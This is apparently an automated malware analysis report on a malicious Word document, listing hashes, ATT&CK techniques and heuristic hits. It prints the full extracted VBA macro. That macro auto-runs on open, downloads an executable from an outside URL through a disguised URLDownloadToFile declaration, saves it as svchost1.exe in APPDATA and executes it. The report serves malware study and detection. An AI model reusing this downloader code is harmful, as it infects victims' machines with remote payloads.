Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d5cb687cac8320aa…

MALICIOUS

Office (OLE)

47.0 KB Created: 2014-01-02 23:15:00 Authoring application: Microsoft Office Word First seen: 2015-09-24
MD5: 79bd143dafebb5c27d936e1307573d10 SHA-1: 828aafcb24b82e197b83bc2413ebead2bdc6c4e9 SHA-256: d5cb687cac8320aa83e518cc58cab939a4801e0b2bce015a20cce0a50e770439
274 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample contains VBA macros that leverage the URLDownloadToFile API to download a second-stage executable from 'http://nxfilebox.ws/netflixapp/bropbox.exe'. The macro then attempts to execute the downloaded file, which is saved as '%APPDATA%\svchost1.exe'. The document also contains a lure instructing the user to enable macros to view content, a common tactic for macro-based malware.

Heuristics 11

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Environ("APPDATA") & "\svchost1.exe"
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
                    Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Mcfee 0, "http://nxfilebox.ws/netflixapp/bropbox.exe", Environ("APPDATA") & "\svchost1.exe", 0, 0
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://nxfilebox.ws/netflixapp/bropbox.exe� Referenced by macro
    • http://nxfilebox.ws/netflixapp/bropbox.exeReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1453 bytes
SHA-256: 6cf20550062960352ef4d897960c1dfffbc49d8b1000525873770ddb84d06ff3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Avira"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function Mcfee _
                Lib "urlmon" _
                Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
                                            ByVal szURL As String, _
                                            ByVal szFileName As String, _
                                            ByVal dwReserved As Long, _
                                            ByVal lpfnCB As Long) As Long

Sub Auto_Open()
    Truniazo
End Sub



Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

Sub R2y234yu324huh4321h234324lhlh234()
 mAG ASDA
End Sub

Sub Rub31321321ete()
 SDHUSDFH MAD
End Sub

Sub Rubense3()
 Hola ASD
End Sub

Sub Truniazo()
On Error Resume Next

Mcfee 0, "http://nxfilebox.ws/netflixapp/bropbox.exe", Environ("APPDATA") & "\svchost1.exe", 0, 0
Shell Environ("APPDATA") & "\svchost1.exe"

End Sub

Attribute VB_Name = "Módulo1"

Attribute VB_Name = "Módulo2"
Sub Rub33ete()
 SDHUSDFH MAD
End Sub
Sub R21321ete()
 SDHUSDFH MAD
End Sub
Sub Rub323()
 SDHUSDFH MAD
End Sub
Sub Rub31321321ete()
 SDHUSDFH MAD
End Sub
Sub Rubae()
 SDHUSDFH MAD
End Sub

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